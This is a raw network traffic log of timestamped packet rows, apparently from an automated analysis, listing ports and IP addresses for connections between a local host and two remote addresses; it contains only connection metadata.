Nov 2, 2024 07:16:22.573548079 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573571920 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573601007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573612928 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573621988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573632956 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573636055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573647022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573657036 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573657036 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573668003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573678017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573683977 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573693991 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573717117 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573718071 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573725939 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573741913 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573750019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573757887 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573761940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573767900 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573770046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573796988 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573816061 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573826075 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573863029 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573885918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573896885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573908091 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.573918104 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573931932 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.573992014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574002028 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574011087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574019909 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574029922 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574033022 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574040890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574043036 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574050903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574069023 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574083090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574093103 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574093103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574100018 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574106932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574141979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574153900 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574439049 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574449062 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574460030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574475050 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574486017 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574500084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574500084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574510098 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574525118 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574531078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574536085 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574542999 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574559927 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574572086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574574947 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574582100 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574594975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574605942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574606895 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574615002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574625015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574625015 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574635983 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574642897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574651957 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574660063 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574668884 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574692011 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574692011 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574701071 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574709892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574722052 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574731112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574733973 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574742079 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574752092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574754000 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574771881 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574786901 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574814081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574826956 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574836969 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574846983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574846983 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574856043 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574867010 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574872017 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574877977 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574887991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574892044 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574898005 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574904919 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574907064 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.574927092 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.574949026 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653095961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653111935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653125048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653137922 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653148890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653161049 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653173923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653178930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653183937 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653198957 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653208971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653219938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653219938 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653232098 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653240919 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653244019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653254986 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653258085 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653266907 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653279066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653291941 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653295040 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653306007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653316021 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653316975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653330088 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653338909 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653342009 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653353930 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653367043 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653368950 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653378010 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653389931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653395891 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653402090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653410912 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653414011 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653425932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653425932 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653439999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653450966 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653458118 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653462887 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653474092 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653475046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653487921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653493881 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653500080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653512955 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653512955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653525114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653534889 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653539896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653547049 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653559923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653563023 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653572083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653582096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653583050 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653593063 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653594971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653606892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653619051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653621912 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653630018 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653640985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653649092 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653654099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653661013 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653666019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653677940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653681040 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653690100 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653701067 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653706074 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653712988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653726101 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653733015 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653733969 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653747082 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653753996 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653759003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653769016 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653769970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653783083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653793097 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653796911 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653805971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653816938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653820992 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653827906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653836012 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653839111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653851032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653856993 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653861046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653872013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653877974 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653886080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653896093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653908968 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653911114 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653919935 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653919935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653932095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653933048 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653943062 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653954029 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653964996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.653966904 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.653990984 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.654004097 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.674293041 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:22.674369097 CET	63873	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:22.675591946 CET	63873	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:22.675601006 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:22.675812006 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:22.677300930 CET	63873	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:22.677443981 CET	63873	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:22.677480936 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:22.677556038 CET	63873	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:22.677567959 CET	443	63873	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:22.693696022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693769932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693780899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693820953 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.693871975 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.693914890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693927050 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693938971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693952084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693962097 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.693963051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693974972 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693984985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.693989992 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.693994999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694001913 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694014072 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694031954 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694032907 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694042921 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694053888 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694058895 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694066048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694077015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694082022 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694099903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694112062 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694113016 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694123030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694137096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694137096 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694150925 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694163084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694164038 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694175005 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694185972 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694190025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694204092 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694205999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694219112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694230080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694231987 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694240093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694252014 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694257021 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694267035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694277048 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694278002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694288969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694298029 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694308996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694320917 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694329023 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694338083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694345951 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694350004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694363117 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694371939 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694382906 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694386959 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694400072 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694423914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694447041 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694463968 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694474936 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694487095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694500923 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694513083 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694530964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694560051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694572926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694585085 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694603920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694610119 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694622993 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694633961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694641113 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694662094 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694669962 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694674015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694690943 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694691896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694704056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694721937 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694722891 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694735050 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694746017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694755077 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694756985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694766998 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694780111 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694783926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694793940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694803953 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694807053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694823027 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694833040 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694844961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694856882 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694860935 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694874048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694886923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694889069 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694899082 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694912910 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694916964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694931984 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694950104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694953918 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.694962025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694973946 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694984913 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.694998026 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.695004940 CET	63862	80	192.168.2.4	185.215.113.16
